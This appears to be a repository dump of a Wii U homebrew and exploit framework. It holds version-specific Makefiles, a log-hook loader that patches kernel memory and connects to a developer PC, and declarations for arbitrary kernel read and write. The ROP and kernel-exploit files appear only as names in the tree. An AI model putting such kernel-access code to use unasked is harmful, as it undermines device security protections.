├── .gitignore ├── Readme.MD ├── build.py ├── coslog ├── installer │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── loghook │ ├── Makefile │ ├── bin │ │ └── loghook.c │ └── src │ │ ├── loader.c │ │ └── loader.h └── opensock │ ├── Makefile │ ├── bin │ └── opensock.c │ └── src │ ├── loader.c │ └── loader.h ├── elfexamples └── helloelf │ ├── Makefile │ └── src │ ├── crt0.s │ ├── init.c │ ├── init.h │ ├── link.ld │ ├── loader.c │ └── loader.h ├── examples ├── dmae │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── elfloader │ ├── Makefile │ ├── src │ │ ├── elf_abi.h │ │ ├── elfloader.c │ │ ├── loader.c │ │ └── loader.h │ └── usage.txt ├── exit │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── fs │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── gx2 │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── gx2thread │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── heapcreate │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── heapsearch │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── helloworld │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── lcdma │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── osldr │ ├── Makefile │ ├── ici_stub-disasm.s │ ├── ici_stub.s │ └── src │ │ ├── loader.c │ │ └── loader.h ├── remove_update │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── rpc │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h ├── thread │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h └── usbstor │ ├── Makefile │ └── src │ ├── loader.c │ ├── loader.h │ ├── packet.h │ └── scsi.h ├── framework ├── Makefile ├── design │ ├── ropkit200.txt │ ├── ropkit210.txt │ ├── ropkit300.txt │ ├── ropkit310.txt │ ├── ropkit400.txt │ ├── ropkit410.txt │ ├── ropkit500.txt │ └── ropkit532.txt ├── generate_html.py ├── html │ ├── frame.html │ ├── index.html │ ├── template.html │ └── template532.html ├── src │ ├── findcode200.c │ ├── findcode210.c │ ├── findcode300.c │ ├── findcode310.c │ ├── findcode400.c │ ├── findcode410.c │ ├── findcode500.c │ └── findcode532.c └── stack │ ├── stack200.txt │ ├── stack210.txt │ ├── stack300.txt │ ├── stack310.txt │ ├── stack400.txt │ ├── stack410.txt │ ├── stack500.txt │ └── stack532.txt ├── kernel ├── gx2sploit │ ├── Makefile │ └── src │ │ ├── loader.c │ │ └── loader.h └── osdriver │ ├── Makefile │ └── src │ ├── loader.c │ └── loader.h ├── libwiiu ├── Makefile └── src │ ├── coreinit.h │ ├── draw.c │ ├── draw.h │ ├── exception_handler.h │ ├── math.c │ ├── math.h │ ├── socket.h │ ├── string.c │ ├── string.h │ ├── types.h │ ├── uhs.c │ ├── uhs.h │ ├── uhs_usbspec.h │ └── vpad.h ├── osscreenexamples ├── draw │ ├── Makefile │ ├── readme │ └── src │ │ ├── draw.c │ │ ├── draw.h │ │ ├── loader.c │ │ ├── loader.h │ │ ├── program.c │ │ └── program.h ├── ios │ ├── Makefile │ └── src │ │ ├── loader.c │ │ ├── loader.h │ │ ├── program.c │ │ └── program.h ├── pong │ ├── Makefile │ ├── readme │ └── src │ │ ├── draw.c │ │ ├── draw.h │ │ ├── loader.c │ │ ├── loader.h │ │ ├── pong.c │ │ ├── pong.h │ │ ├── program.c │ │ └── program.h ├── template │ ├── Makefile │ └── src │ │ ├── loader.c │ │ ├── loader.h │ │ ├── program.c │ │ └── program.h └── usbgcadapter │ ├── Makefile │ └── src │ ├── loader.c │ ├── loader.h │ ├── program.c │ └── program.h └── scripts ├── __pycache__ └── fs.cpython-34.pyc ├── coslog.py ├── fs.py ├── listener.py └── rpc.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.bin 3 | /www/ -------------------------------------------------------------------------------- /coslog/installer/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main532: 20 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main500: 27 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main410: 34 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main400: 41 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main310: 48 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main300: 55 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main210: 62 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main200: 69 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | clean: 76 | rm -r $(build)/* 77 | -------------------------------------------------------------------------------- /coslog/installer/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | 6 | /* Kernel addresses */ 7 | #if VER == 532 8 | #define KERN_ADDRESS_TBL 0xFFEAAA10 9 | #elif VER == 550 10 | #define KERN_ADDRESS_TBL 0xFFEAB7A0 11 | #else 12 | #define KERN_ADDRESS_TBL 0x0 13 | #endif 14 | 15 | /* Install an exception handler */ 16 | void _start(); 17 | 18 | /* memcpy() implementation */ 19 | void *memcpy(void* dst, const void* src, unsigned int size); 20 | 21 | /* Arbitrary read and write syscalls */ 22 | unsigned int kern_read(const void *addr); 23 | void kern_write(void *addr, unsigned int value); 24 | 25 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /coslog/loghook/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext fff01000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main532: 20 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | xxd -i $(build)/code532.bin > $(build)/loghook.c 26 | 27 | main500: 28 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 29 | #-Wa,-a,-ad 30 | cp -r $(root)/*.o $(build) 31 | rm $(root)/*.o 32 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 33 | 34 | main410: 35 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 36 | #-Wa,-a,-ad 37 | cp -r $(root)/*.o $(build) 38 | rm $(root)/*.o 39 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 40 | 41 | main400: 42 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 43 | #-Wa,-a,-ad 44 | cp -r $(root)/*.o $(build) 45 | rm $(root)/*.o 46 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 47 | 48 | main310: 49 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 50 | #-Wa,-a,-ad 51 | cp -r $(root)/*.o $(build) 52 | rm $(root)/*.o 53 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 54 | 55 | main300: 56 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 57 | #-Wa,-a,-ad 58 | cp -r $(root)/*.o $(build) 59 | rm $(root)/*.o 60 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 61 | 62 | main210: 63 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 64 | #-Wa,-a,-ad 65 | cp -r $(root)/*.o $(build) 66 | rm $(root)/*.o 67 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 68 | 69 | main200: 70 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 71 | #-Wa,-a,-ad 72 | cp -r $(root)/*.o $(build) 73 | rm $(root)/*.o 74 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 75 | 76 | clean: 77 | rm -r $(build)/* 78 | -------------------------------------------------------------------------------- /coslog/loghook/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | 6 | /* Log hook */ 7 | int _start(int arg0, int arg1, unsigned int arg2, void *addr, int len, int arg5); 8 | 9 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /coslog/opensock/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 11de000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main532: 20 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | xxd -i $(build)/code532.bin > $(build)/opensock.c 26 | 27 | main500: 28 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 29 | #-Wa,-a,-ad 30 | cp -r $(root)/*.o $(build) 31 | rm $(root)/*.o 32 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 33 | 34 | main410: 35 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 36 | #-Wa,-a,-ad 37 | cp -r $(root)/*.o $(build) 38 | rm $(root)/*.o 39 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 40 | 41 | main400: 42 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 43 | #-Wa,-a,-ad 44 | cp -r $(root)/*.o $(build) 45 | rm $(root)/*.o 46 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 47 | 48 | main310: 49 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 50 | #-Wa,-a,-ad 51 | cp -r $(root)/*.o $(build) 52 | rm $(root)/*.o 53 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 54 | 55 | main300: 56 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 57 | #-Wa,-a,-ad 58 | cp -r $(root)/*.o $(build) 59 | rm $(root)/*.o 60 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 61 | 62 | main210: 63 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 64 | #-Wa,-a,-ad 65 | cp -r $(root)/*.o $(build) 66 | rm $(root)/*.o 67 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 68 | 69 | main200: 70 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 71 | #-Wa,-a,-ad 72 | cp -r $(root)/*.o $(build) 73 | rm $(root)/*.o 74 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 75 | 76 | clean: 77 | rm -r $(build)/* 78 | -------------------------------------------------------------------------------- /coslog/opensock/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | /* Install an exception handler */ 4 | int _start(int argc, char **argv) 5 | { 6 | /* Get a handle to coreinit.rpl and nsysnet.rpl */ 7 | unsigned int coreinit_handle, nsysnet_handle; 8 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 9 | OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); 10 | 11 | /* Memory and cache functions */ 12 | unsigned int (*OSEffectiveToPhysical)(void *ptr); 13 | void (*DCFlushRange)(void *addr, unsigned int len); 14 | void (*DCInvalidateRange)(void *addr, unsigned int len); 15 | OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); 16 | OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); 17 | OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); 18 | 19 | /* Kernel is mapped */ 20 | if (OSEffectiveToPhysical((void*)0xA0000000) == 0xC0000000) 21 | { 22 | /* Patches installed */ 23 | if (*((unsigned int*)(0xA0000000 + (0xFFF00B40 - 0xC0000000))) == 1) 24 | { 25 | /* Socket functions */ 26 | int (*socket_lib_init)(); 27 | int (*get_socket_rm_fd)(); 28 | int (*socket)(int family, int type, int proto); 29 | int (*connect)(int fd, struct sockaddr *addr, int addrlen); 30 | OSDynLoad_FindExport(nsysnet_handle, 0, "socket_lib_init", &socket_lib_init); 31 | OSDynLoad_FindExport(nsysnet_handle, 0, "get_socket_rm_fd", &get_socket_rm_fd); 32 | OSDynLoad_FindExport(nsysnet_handle, 0, "socket", &socket); 33 | OSDynLoad_FindExport(nsysnet_handle, 0, "connect", &connect); 34 | 35 | /* Init the sockets library */ 36 | socket_lib_init(); 37 | 38 | /* Set up our socket address structure */ 39 | struct sockaddr sin; 40 | sin.sin_family = AF_INET; 41 | sin.sin_port = 12345; 42 | sin.sin_addr.s_addr = PC_IP; 43 | int i; 44 | for (i = 0; i < 8; i++) 45 | { 46 | sin.sin_zero[i] = 0; 47 | } 48 | 49 | /* Connect to the PC */ 50 | int pc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 51 | int status = connect(pc, &sin, 0x10); 52 | if (status) OSFatal("Error connecting to PC"); 53 | 54 | /* Store the socket info in a place the kernel can access */ 55 | unsigned int sock_info[4] = {1, (unsigned int)get_socket_rm_fd(), (unsigned int)pc, 0}; 56 | memcpy((void*)(0xA0000000 + (0xFFF00B40 - 0xC0000000)), sock_info, 0x10); 57 | DCFlushRange((void*)(0xA0000000 + (0xFFF00B40 - 0xC0000000)), 0x20); 58 | DCInvalidateRange((void*)(0xA0000000 + (0xFFF00B40 - 0xC0000000)), 0x20); 59 | } 60 | /* Patches not yet installed, but they will be next time */ 61 | else 62 | { 63 | /* Signify patches installed, socket data still invalid, spinlock 0 */ 64 | *((unsigned int*)(0xA0000000 + (0xFFF00B40 - 0xC0000000))) = 1; 65 | *((unsigned int*)(0xA0000000 + (0xFFF00B44 - 0xC0000000))) = -1; 66 | *((unsigned int*)(0xA0000000 + (0xFFF00B48 - 0xC0000000))) = -1; 67 | *((unsigned int*)(0xA0000000 + (0xFFF00B4C - 0xC0000000))) = 0; 68 | DCFlushRange((void*)(0xA0000000 + (0xFFF00B40 - 0xC0000000)), 0x20); 69 | DCInvalidateRange((void*)(0xA0000000 + (0xFFF00B40 - 0xC0000000)), 0x20); 70 | } 71 | } 72 | 73 | /* Return to main() */ 74 | #if VER == 532 75 | int (*main)(int argc, char **argv) = (int (*)(int,char**)) (*((unsigned int*)0x1005D180)); 76 | #elif VER == 550 77 | int (*main)(int argc, char **argv) = (int (*)(int,char**)) (*((unsigned int*)0x1005E040)); 78 | #else 79 | int (*main)(int argc, char **argv) = (int (*)(int,char**)) (*((unsigned int*)0x0)); 80 | #endif 81 | return main(argc, argv); 82 | } 83 | 84 | /* memcpy() implementation */ 85 | void *memcpy(void* dst, const void* src, unsigned int size) 86 | { 87 | unsigned int i; 88 | for (i = 0; i < size; i++) 89 | ((unsigned char*) dst)[i] = ((const unsigned char*) src)[i]; 90 | return dst; 91 | } 92 | -------------------------------------------------------------------------------- /coslog/opensock/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/socket.h" 6 | 7 | /* Install an exception handler */ 8 | int _start(int argc, char **argv); 9 | 10 | /* memcpy() implementation */ 11 | void *memcpy(void* dst, const void* src, unsigned int size); 12 | 13 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /elfexamples/helloelf/src/crt0.s: -------------------------------------------------------------------------------- 1 | 2 | .extern _memset 3 | .extern _doInit 4 | .extern _main 5 | .extern _doExit 6 | 7 | .globl _start 8 | _start: 9 | # Setup stack. 10 | lis 1,_stack_top@ha ; addi 1,1,_stack_top@l ; li 0,0 ; stwu 0,-64(1) 11 | 12 | # Clear BSS. 13 | lis 3,__bss_start@ha ; addi 3,3,__bss_start@l 14 | li 4,0 15 | lis 5,__bss_end@ha ; addi 5,5,__bss_end@l ; sub 5,5,3 16 | bl _memset 17 | 18 | bl _doInit 19 | bl _main 20 | # Return to old stack for exit 21 | lis 1, 0x1ab5 ; ori 1, 1, 0xd138 22 | bl _doExit 23 | -------------------------------------------------------------------------------- /elfexamples/helloelf/src/init.c: -------------------------------------------------------------------------------- 1 | #include "init.h" 2 | void (*OSDynLoad_Acquire)(char* rpl, unsigned int *handle) = (void*)0; 3 | void (*OSDynLoad_FindExport)(unsigned int handle, int isdata, char *symbol, void *address) = (void*)0; 4 | void (*OSFatal)(char* msg) = (void*)0; 5 | void (*__os_snprintf)(char* s, int n, const char * format, ... ) = (void*)0; 6 | unsigned int coreinit_handle = 0; 7 | 8 | void _doInit() 9 | { 10 | OSDynLoad_Acquire = (void*)(*(unsigned int*)0xF5FFFFFC); 11 | OSDynLoad_FindExport = (void*)(*(unsigned int*)0xF5FFFFF8); 12 | OSFatal = (void*)(*(unsigned int*)0xF5FFFFF4); 13 | __os_snprintf = (void*)(*(unsigned int*)0xF5FFFFF0); 14 | coreinit_handle = *(unsigned int*)0xF5FFFFEC; 15 | } 16 | 17 | void _doExit() 18 | { 19 | void(*_Exit)(); 20 | OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); 21 | _Exit(); 22 | } 23 | 24 | void _memset(void *b, int c, int len) 25 | { 26 | int i; 27 | 28 | for (i = 0; i < len; i++) 29 | ((unsigned char *)b)[i] = c; 30 | } 31 | -------------------------------------------------------------------------------- /elfexamples/helloelf/src/init.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _INIT_H_ 3 | #define _INIT_H_ 4 | 5 | extern void (*OSDynLoad_Acquire)(char* rpl, unsigned int *handle); 6 | extern void (*OSDynLoad_FindExport)(unsigned int handle, int isdata, char *symbol, void *address); 7 | extern void (*OSFatal)(char* msg); 8 | extern void (*__os_snprintf)(char* s, int n, const char * format, ... ); 9 | extern unsigned int coreinit_handle; 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /elfexamples/helloelf/src/link.ld: -------------------------------------------------------------------------------- 1 | 2 | OUTPUT_FORMAT("elf32-powerpc") 3 | OUTPUT_ARCH(powerpc:common) 4 | 5 | ENTRY(_start) 6 | 7 | SECTIONS { 8 | . = 0x01808000; 9 | 10 | __rx_start = .; 11 | 12 | .start : { crt0.o(*) } 13 | .text : { *(.text) } 14 | .rodata : { *(.rodata .rodata.*)} 15 | 16 | __rx_end = .; 17 | 18 | . = 0xF4C00000; 19 | 20 | __rw_start = .; 21 | 22 | .data : { *(.data) } 23 | 24 | __bss_start = .; 25 | .bss : { *(.bss) } 26 | __bss_end = .; 27 | 28 | . = ALIGN(0x40); 29 | .stack : { 30 | . += 0x8000; 31 | _stack_top = .; 32 | } 33 | 34 | __rw_end = .; 35 | } 36 | -------------------------------------------------------------------------------- /elfexamples/helloelf/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "init.h" 2 | #include "loader.h" 3 | 4 | extern char __rx_start, __rx_end; 5 | extern char __rw_start, __rw_end; 6 | void _main() 7 | { 8 | char buf[255]; 9 | __os_snprintf(buf,255,"Hello, I am a ELF!\n" 10 | "rx area:0x%08X-0x%08X\n" 11 | "rw area:0x%08X-0x%08X\n", 12 | &__rx_start,&__rx_end,&__rw_start,&__rw_end); 13 | _osscreeninit(); 14 | _printstr(buf); 15 | unsigned int t1 = 0x60000000; 16 | while(t1--) ; 17 | _osscreenexit(); 18 | } 19 | 20 | void flipBuffers() 21 | { 22 | void(*DCFlushRange)(void *buffer, unsigned int length); 23 | unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); 24 | OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); 25 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); 26 | unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); 27 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); 28 | //Grab the buffer size for each screen (TV and gamepad) 29 | int buf0_size = OSScreenGetBufferSizeEx(0); 30 | int buf1_size = OSScreenGetBufferSizeEx(1); 31 | //Flush the cache 32 | DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size); 33 | DCFlushRange((void *)0xF4000000, buf0_size); 34 | //Flip the buffer 35 | OSScreenFlipBuffersEx(0); 36 | OSScreenFlipBuffersEx(1); 37 | } 38 | 39 | void drawString(int x, int line, char * string) 40 | { 41 | unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int line, void * buffer); 42 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); 43 | OSScreenPutFontEx(0, x, line, string); 44 | OSScreenPutFontEx(1, x, line, string); 45 | } 46 | 47 | void fillScreen(char r,char g,char b,char a) 48 | { 49 | unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); 50 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); 51 | unsigned int num = (r << 24) | (g << 16) | (b << 8) | a; 52 | OSScreenClearBufferEx(0, num); 53 | OSScreenClearBufferEx(1, num); 54 | } 55 | 56 | void _osscreeninit() 57 | { 58 | void(*OSScreenInit)(); 59 | unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); 60 | unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); 61 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); 62 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); 63 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); 64 | //Call the Screen initilzation function. 65 | OSScreenInit(); 66 | //Grab the buffer size for each screen (TV and gamepad) 67 | int buf0_size = OSScreenGetBufferSizeEx(0); 68 | int buf1_size = OSScreenGetBufferSizeEx(1); 69 | //Set the buffer area. 70 | OSScreenSetBufferEx(0, (void *)0xF4000000); 71 | OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); 72 | } 73 | 74 | void _printstr(char *str) 75 | { 76 | int ii = 0; 77 | for (ii; ii < 2; ii++) 78 | { 79 | fillScreen(0,0,0,0); 80 | drawString(0,0,str); 81 | flipBuffers(); 82 | } 83 | } 84 | 85 | void _osscreenexit() 86 | { 87 | int ii=0; 88 | for(ii;ii<2;ii++) 89 | { 90 | fillScreen(0,0,0,0); 91 | flipBuffers(); 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /elfexamples/helloelf/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | void _main(); 5 | void _osscreeninit(); 6 | void _printstr(char *str); 7 | void _osscreenexit(); 8 | 9 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/dmae/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | 